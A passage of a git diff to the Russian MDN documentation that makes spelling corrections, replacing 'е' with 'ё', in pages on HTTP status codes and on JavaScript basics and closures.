            HyperText Transfer Protocol (HTTP) код ошибки клиента 406 Not Acceptable означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего согласования контента, и что сервер не желает вернуть представление контента по умолчанию.
            
+
            HyperText Transfer Protocol (HTTP) код ошибки клиента 406 Not Acceptable означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определённых в заголовках упреждающего согласования контента, и что сервер не желает вернуть представление контента по умолчанию.
            
 
 
            Заголовки упреждающего согласования контента включают:
            
 
@@ -19,7 +19,7 @@ translation_of: Web/HTTP/Status/406
  
          • {{HTTPHeader("Accept-Language")}}
            • 
 
          
 
-
          На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.
          
+
          На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтёт это коду ошибки.
          
 
 
          Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.
          
 
diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html
index 4f66630555..ddbd433687 100644
--- a/files/ru/web/http/status/407/index.html
+++ b/files/ru/web/http/status/407/index.html
@@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/407
 
          
 
          {{HTTPSidebar}}
          
 
-
          HTTP 407 Proxy Authentication Required код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..
          
+
          HTTP 407 Proxy Authentication Required код ответа на ошибку клиента указывает, что запрос не был применён, поскольку он не имеет достоверных учётных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..
          
 
 
          Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.
          
 
          
diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html
index 9f0f0de305..d7950cd91c 100644
--- a/files/ru/web/http/status/408/index.html
+++ b/files/ru/web/http/status/408/index.html
@@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/408
 
 
          Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку 408 подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.
          
 
-
          Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.
          
+
          Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения сёрфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html
index 9c7899a650..f3986bf132 100644
--- a/files/ru/web/http/status/411/index.html
+++ b/files/ru/web/http/status/411/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/411
 ---
 
          {{HTTPSidebar}}
          
 
-
          Код ответа на ошибку 411 Length Required указывает, что сервер отказывается принять запрос без определенного  {{HTTPHeader("Content-Length")}}. 
          
+
          Код ответа на ошибку 411 Length Required указывает, что сервер отказывается принять запрос без определённого  {{HTTPHeader("Content-Length")}}. 
          
 
 
          Обратите внимание, что по спецификации при отправке данных в ряд фрагментов Content-Length опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.
          
 
diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html
index a3b7883952..8aa82d8d03 100644
--- a/files/ru/web/http/status/412/index.html
+++ b/files/ru/web/http/status/412/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/412
 ---
 
          {{HTTPSidebar}}
          
 
-
          The HTTP 412 Precondition Failed клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.
          
+
          The HTTP 412 Precondition Failed клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонён. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html
index e0383192a9..a74302c9cd 100644
--- a/files/ru/web/http/status/413/index.html
+++ b/files/ru/web/http/status/413/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/413
 ---
 
          {{HTTPSidebar}}
          
 
-
          Код HTTP 413 Payload Too Large , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.
          
+
          Код HTTP 413 Payload Too Large , указывает, что объект запроса больше, чем ограничения, определённые сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html
index d7035dfb3f..ae3c93df73 100644
--- a/files/ru/web/http/status/416/index.html
+++ b/files/ru/web/http/status/416/index.html
@@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/416
 
 
          Код ошибки HTTP 416 Range Not Satisfiable указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.
          
 
-
          Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это '*'), за которым следуют '/' и текущий ресурс. Например: Content-Range: */12777
          
+
          Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворённый диапазон (это '*'), за которым следуют '/' и текущий ресурс. Например: Content-Range: */12777
          
 
 
          Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.
          
 
diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html
index 179d9cb1e2..10f524c77e 100644
--- a/files/ru/web/http/status/425/index.html
+++ b/files/ru/web/http/status/425/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTTP/Status/425
 ---
 
          {{SeeCompatTable}}{{HTTPSidebar}}
          
 
-
          Код ответа протокола передачи гипертекста (HTTP) 425 Too Early означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.
          
+
          Код ответа протокола передачи гипертекста (HTTP) 425 Too Early означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведённым, поскольку это открывает возможность для атаки повторного воспроизведения.
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html
index bfec2e5cc5..ce6c8a0110 100644
--- a/files/ru/web/http/status/429/index.html
+++ b/files/ru/web/http/status/429/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/429
 
 
          HTTP 429 Too Many Requests код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).
          
 
-
          В этот ответ может быть включен  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.
          
+
          В этот ответ может быть включён  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html
index 691fb74671..02f4032c02 100644
--- a/files/ru/web/http/status/431/index.html
+++ b/files/ru/web/http/status/431/index.html
@@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/431
 
 
          Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.
          
 
-
          Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.
          
+
          Эта ошибка не должна происходить в хорошо проверенных производственных системах, но её можно найти чаще при тестировании новой системы.
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html
index 426cde0317..5c5336f84d 100644
--- a/files/ru/web/http/status/451/index.html
+++ b/files/ru/web/http/status/451/index.html
@@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/451
 
 
          Пример
          
 
-
          Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.
          
+
          Этот пример ответа берётся из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.
          
 
 
          Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a rel="blocked-by", идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.
          
 
diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html
index 0e64be8339..2e77fa5c00 100644
--- a/files/ru/web/http/status/500/index.html
+++ b/files/ru/web/http/status/500/index.html
@@ -34,7 +34,7 @@ translation_of: Web/HTTP/Status/500
 
 
          Совместимость с браузерами
          
 
-
+
 
 
          {{Compat("http.status.500")}}
          
 
diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html
index de17af10eb..55cbc8cc62 100644
--- a/files/ru/web/http/status/511/index.html
+++ b/files/ru/web/http/status/511/index.html
@@ -7,9 +7,9 @@ translation_of: Web/HTTP/Status/511
 
 
          The HTTP 511 Network Authentication Required код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.
          
 
-
          Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.
          
+
          Этот статус не генерируется серверами происхождения, а путём перехвата прокси-серверов, которые контролируют доступ к сети.
          
 
-
          Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).
          
+
          Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые ещё не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).
          
 
 
          Статус
          
 
diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html
index 38b076f287..4b8b0ffd4b 100644
--- a/files/ru/web/http/status/index.html
+++ b/files/ru/web/http/status/index.html
@@ -57,7 +57,7 @@ translation_of: Web/HTTP/Status
   
    102
    Processing
-   "В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена.
+   "В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка ещё не завершена.
    Только HTTP/1.1
   
   
@@ -135,7 +135,7 @@ translation_of: Web/HTTP/Status
    301
    Moved Permanently
    
-    
          "Перемещён на постоянной основе". Этот код ответа значит, что URI запрашиваемого ресурса был изменен. Возможно, новый URI будет предоставлен в ответе.
          
+    
          "Перемещён на постоянной основе". Этот код ответа значит, что URI запрашиваемого ресурса был изменён. Возможно, новый URI будет предоставлен в ответе.
          
    
    HTTP/0.9 and later
   
@@ -143,7 +143,7 @@ translation_of: Web/HTTP/Status
    302
    Found
    
-    
          "Найдено". Этот код ответа значит, что запрошенный ресурс временно изменен. Новые изменения в URI могут быть доступны в будущем. Таким образом, этот URI, должен быть использован клиентом в будущих запросах.
          
+    
          "Найдено". Этот код ответа значит, что запрошенный ресурс временно изменён. Новые изменения в URI могут быть доступны в будущем. Таким образом, этот URI, должен быть использован клиентом в будущих запросах.
          
    
    HTTP/0.9 and later
   
@@ -156,7 +156,7 @@ translation_of: Web/HTTP/Status
   
    304
    Not Modified
-   "Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа.
+   "Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменён. Таким образом, клиент может продолжать использовать кэшированную версию ответа.
    HTTP/0.9 and later
   
   
@@ -205,7 +205,7 @@ translation_of: Web/HTTP/Status
   
    402
    Payment Required
-   "Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется).
+   "Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платёжных систем(на данный момент не используется).
    HTTP/0.9 and 1.1
   
   
@@ -223,14 +223,14 @@ translation_of: Web/HTTP/Status
   
    405
    Method Not Allowed
-   "Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  GET и HEAD,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки.
+   "Метод не разрешён". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  GET и HEAD,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки.
    HTTP/1.1 only
   
   
    406
    Not Acceptable
    
-    
          Этот ответ отсылается, когда веб сервер после выполнения server-driven content negotiation, не нашел контента, отвечающего критериям, полученным из user agent.
          
+    
          Этот ответ отсылается, когда веб сервер после выполнения server-driven content negotiation, не нашёл контента, отвечающего критериям, полученным из user agent.
          
    
    HTTP/1.1 only
   
@@ -243,7 +243,7 @@ translation_of: Web/HTTP/Status
   
    408
    Request Timeout
-   Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать HTTP механизмы предварительного соединения для ускорения серфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.
+   Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать HTTP механизмы предварительного соединения для ускорения сёрфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.
    HTTP/1.1 only
   
   
@@ -258,7 +258,7 @@ translation_of: Web/HTTP/Status
    410
    Gone
    
-    
          Этот ответ отсылается, когда запрашиваемый контент удален с сервера.
          
+    
          Этот ответ отсылается, когда запрашиваемый контент удалён с сервера.
          
    
    HTTP/1.1 only
   
@@ -266,7 +266,7 @@ translation_of: Web/HTTP/Status
    411
    Length Required
    
-    
          Запрос отклонен, потому что сервер требует указание заголовка Content-Length, но он не указан.
          
+    
          Запрос отклонён, потому что сервер требует указание заголовка Content-Length, но он не указан.
          
    
    HTTP/1.1 only
   
@@ -293,7 +293,7 @@ translation_of: Web/HTTP/Status
   
    415
    Unsupported Media Type
-   Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонен
+   Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонён
    HTTP/1.1 only
   
   
diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
index 268fc9985d..01888a792b 100644
--- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
+++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
 
 
          Было бы полезно начать с истории языка. JavaScript был создан в 1995 Бренданом Айком, инженером в компании Netscape. Первый релиз состоялся вместе с выходом браузера Netscape 2 в начале 1996 года. Сначала язык назывался LiveScript, но затем был переименован в связи с маркетинговыми целями, чтобы сыграть на популярности языка Java компании Sun Microsystem — несмотря на это языки практически не имеют ничего общего друг с другом. Так было положено начало путаницы между этими языками.
          
 
-
          Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в Ecma International, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта ECMAScript в 1997. Стандарт получил значимое обновление в ECMAScript edition 3 в 1999, и остается самым стабильным до сегодняшнего дня. Четвертая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвертого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).
          
+
          Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в Ecma International, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта ECMAScript в 1997. Стандарт получил значимое обновление в ECMAScript edition 3 в 1999, и остаётся самым стабильным до сегодняшнего дня. Четвёртая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвёртого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).
          
 
 
          
 
          На заметку: Далее по тексту мы будем называть язык ECMAScript как "JavaScript".
          
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
 
 
          JavaScript является объектно-ориентированным языком, имеющий типы и операторы, встроенные объекты и методы. Его синтаксис происходит от языков Java и C, поэтому много конструкций из этих языков применимы и к JavaScript. Одним из ключевых отличий JavaScript является отсутствие классов, вместо этого функциональность классов осуществляется прототипами объектов (смотрите ES6 {{jsxref("Classes")}}) . Другое главное отличие в том, что функции это объекты, в которых содержится исполняемый код и которые могут быть переданы куда-либо, как и любой другой объект.
          
 
-
          Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определенному типу. Типы данных в JavaScript:
          
+
          Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определённому типу. Типы данных в JavaScript:
          
 
 
            
  
          • Числа
            • 
@@ -32,7 +32,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
  
          • Символы (новый тип из шестой редакции)
            • 
 
          
 
-
          Да, еще Undefined и Null, которые немного обособлены. И Массивы, которые являются особым видом объектов. А также Даты и Регулярные выражения, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:
          
+
          Да, ещё Undefined и Null, которые немного обособлены. И Массивы, которые являются особым видом объектов. А также Даты и Регулярные выражения, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:
          
 
 
            
  
          • Числа
            • 
@@ -589,7 +589,7 @@ avg(2, 3, 4, 5); // 3.5

          В вышенаписанном коде переменная args содержит все значения, которые были переданы в функцию.

          - Важно отметить, что где бы ни был  размещен rest parameter operator в объявлении функции, он будет содержать все аргументы  после его объявления, не раньше. например: function avg(firstValue, ...args) будет хранить первое переданное значение в переменной firstValue и оставшиеся в args. Это еще одно полезное свойство языка, однако оно ведет нас к новой проблеме.  avg() функция принимает список аргументов, разделенный запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:

          + Важно отметить, что где бы ни был  размещён rest parameter operator в объявлении функции, он будет содержать все аргументы  после его объявления, не раньше. например: function avg(firstValue, ...args) будет хранить первое переданное значение в переменной firstValue и оставшиеся в args. Это ещё одно полезное свойство языка, однако оно ведёт нас к новой проблеме.  avg() функция принимает список аргументов, разделённый запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:

          function avgArray(arr) {
diff --git a/files/ru/web/javascript/about_javascript/index.html b/files/ru/web/javascript/about_javascript/index.html
index 12ec0deb4f..830f267719 100644
--- a/files/ru/web/javascript/about_javascript/index.html
+++ b/files/ru/web/javascript/about_javascript/index.html
@@ -18,9 +18,9 @@ original_slug: Web/JavaScript/О_JavaScript
 
 
          JavaScript запускается на стороне клиента Интернета, который может использоваться для создания/программирования того, как веб-страницы будут вести себя при наступлении каких-либо событий. JavaScript легко изучить, а также это мощный скриптовый язык, широко используемый для контролирования поведения веб-страниц.
          
 
-
          Вопреки распространенному мнению, JavaScript не является "интерпретируемым Java". В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий прототипное создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как if, for, while, switch, try ... catch похожи на конструкции этих языков.
          
+
          Вопреки распространённому мнению, JavaScript не является "интерпретируемым Java". В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий прототипное создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как if, for, while, switch, try ... catch похожи на конструкции этих языков.
          
 
-
          JavaScript может функционировать и как процедурный, и как объектно-ориентированный язык. Объекты можно создавать программно во время выполнения, путем присоединения методов и свойств или пустых объектов во время выполнения, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.
          
+
          JavaScript может функционировать и как процедурный, и как объектно-ориентированный язык. Объекты можно создавать программно во время выполнения, путём присоединения методов и свойств или пустых объектов во время выполнения, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.
          
 
 
          Динамические возможности JavaScript включают: создание объектов во время выполнения, переменное число параметров, динамическое создание скриптов (с помощью eval), перебор объектов (с помощью for ... in), восстановление исходного кода (программы на JavaScript могут декомпилировать тела функций обратно в исходный код).
          
 
@@ -32,7 +32,7 @@ original_slug: Web/JavaScript/О_JavaScript
 
 
          Несколько оптимизаций, таких как TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) и IonMonkey, добавили в SpiderMonkey со временем. Работа всегда продолжается, чтобы улучшить производительность выполнения JavaScript.
          
 
-
          Кроме вышеприведенных существуют и другие популярные реализации:
          
+
          Кроме вышеприведённых существуют и другие популярные реализации:
          
 
 
            
  
          • V8 от Google, используемый в браузерах Google Chrome и последних версиях Opera. Также используется в Node.js.
            • 
@@ -41,7 +41,7 @@ original_slug: Web/JavaScript/О_JavaScript
  
          • Chakra используется в Internet Explorer (язык, который реализует данный движок, называется JScript, чтобы избежать проблем с авторскими правами).
            • 
 
          
 
-
          Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространенной средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания объектов среды, отражающих DOM в JavaScript.
          
+
          Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространённой средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания объектов среды, отражающих DOM в JavaScript.
          
 
 
          JavaScript также применяется как скриптовый язык на стороне сервера. JavaScript сервер предоставляет объекты среды, представляющие объекты HTTP запросов и ответов, которые могут быть использованы программой на JavaScript для динамической генерации веб-страниц. Популярным примером является Node.js.
          
 
diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html
index 0aaebde058..dde1d17511 100644
--- a/files/ru/web/javascript/closures/index.html
+++ b/files/ru/web/javascript/closures/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Closures
 ---
 
          {{jsSidebar("Intermediate")}}
          
 
-
          Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание дает вам доступ к Scope внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время ее создания.
          
+
          Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание даёт вам доступ к Scope внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время её создания.
          
 
 
          Лексическая область видимости
          
 
@@ -51,7 +51,7 @@ myFunc();
 
 
          На первый взгляд, кажется неочевидным, что этот код правильный, но он работает. В некоторых языках программирования локальные переменные-функции существуют только во время выполнения этой функции. После завершения выполнения makeFunc() можно ожидать, что переменная name больше не будет доступна. Однако, поскольку код продолжает нормально работать, очевидно, что это не так в случае JavaScript.
          
 
-
          Причина в том, что функции в JavaScript формируют так называемые замыкания. Замыкание — это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере myFunc — это ссылка на экземпляр функции displayName, созданной в результате выполнения makeFunc. Экземпляр функции displayName в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная name.  По этой причине, когда происходит вызов функции myFunc, переменная name остаётся доступной для использования и сохраненный в ней текст "Mozilla" передаётся в alert.
          
+
          Причина в том, что функции в JavaScript формируют так называемые замыкания. Замыкание — это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере myFunc — это ссылка на экземпляр функции displayName, созданной в результате выполнения makeFunc. Экземпляр функции displayName в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная name.  По этой причине, когда происходит вызов функции myFunc, переменная name остаётся доступной для использования и сохранённый в ней текст "Mozilla" передаётся в alert.
          
 
 
          А вот немного более интересный пример — функция makeAdder:
          
 
@@ -70,7 +70,7 @@ console.log(add10(2)); // 12
 
 
          Здесь мы определили функцию makeAdder(x), которая получает единственный аргумент x и возвращает новую функцию. Эта функция получает единственный аргумент y и возвращает сумму x и y.
          
 
-
          По существу makeAdder — это фабрика функций: она создает функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.
          
+
          По существу makeAdder — это фабрика функций: она создаёт функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.
          
 
 
          add5 и add10 — это примеры замыканий. Эти функции делят одно определение тела функции, но при этом они сохраняют различные окружения. В окружении функции add5 x — это 5, в то время как в окружении add10 x — это 10.
          
 
@@ -80,7 +80,7 @@ console.log(add10(2)); // 12
 
 
          Следовательно, замыкания можно использовать везде, где вы обычно использовали объект с одним единственным методом.
          
 
-
          Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создается пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): callback функция - функция выполняемая в ответ на возникновение события.
          
+
          Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создаётся пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): callback функция - функция выполняемая в ответ на возникновение события.
          
 
 
          Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:
          
 
@@ -131,7 +131,7 @@ document.getElementById('size-16').onclick = size16;
 
 
          Языки вроде Java позволяют нам объявлять частные (private) методы . Это значит, что они могут быть вызваны только методами того же класса, в котором объявлены.
          
 
-
          JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имен, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.
          
+
          JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имён, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.
          
 
 
          Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется модульное программирование: 
          
 
@@ -161,13 +161,13 @@ Counter.decrement();
 alert(Counter.value()); /* Alerts 1 */
          -

          Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаем единое окружение для трех функций: Counter.increment, Counter.decrement, и Counter.value.

          +

          Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаём единое окружение для трёх функций: Counter.increment, Counter.decrement, и Counter.value.

          -

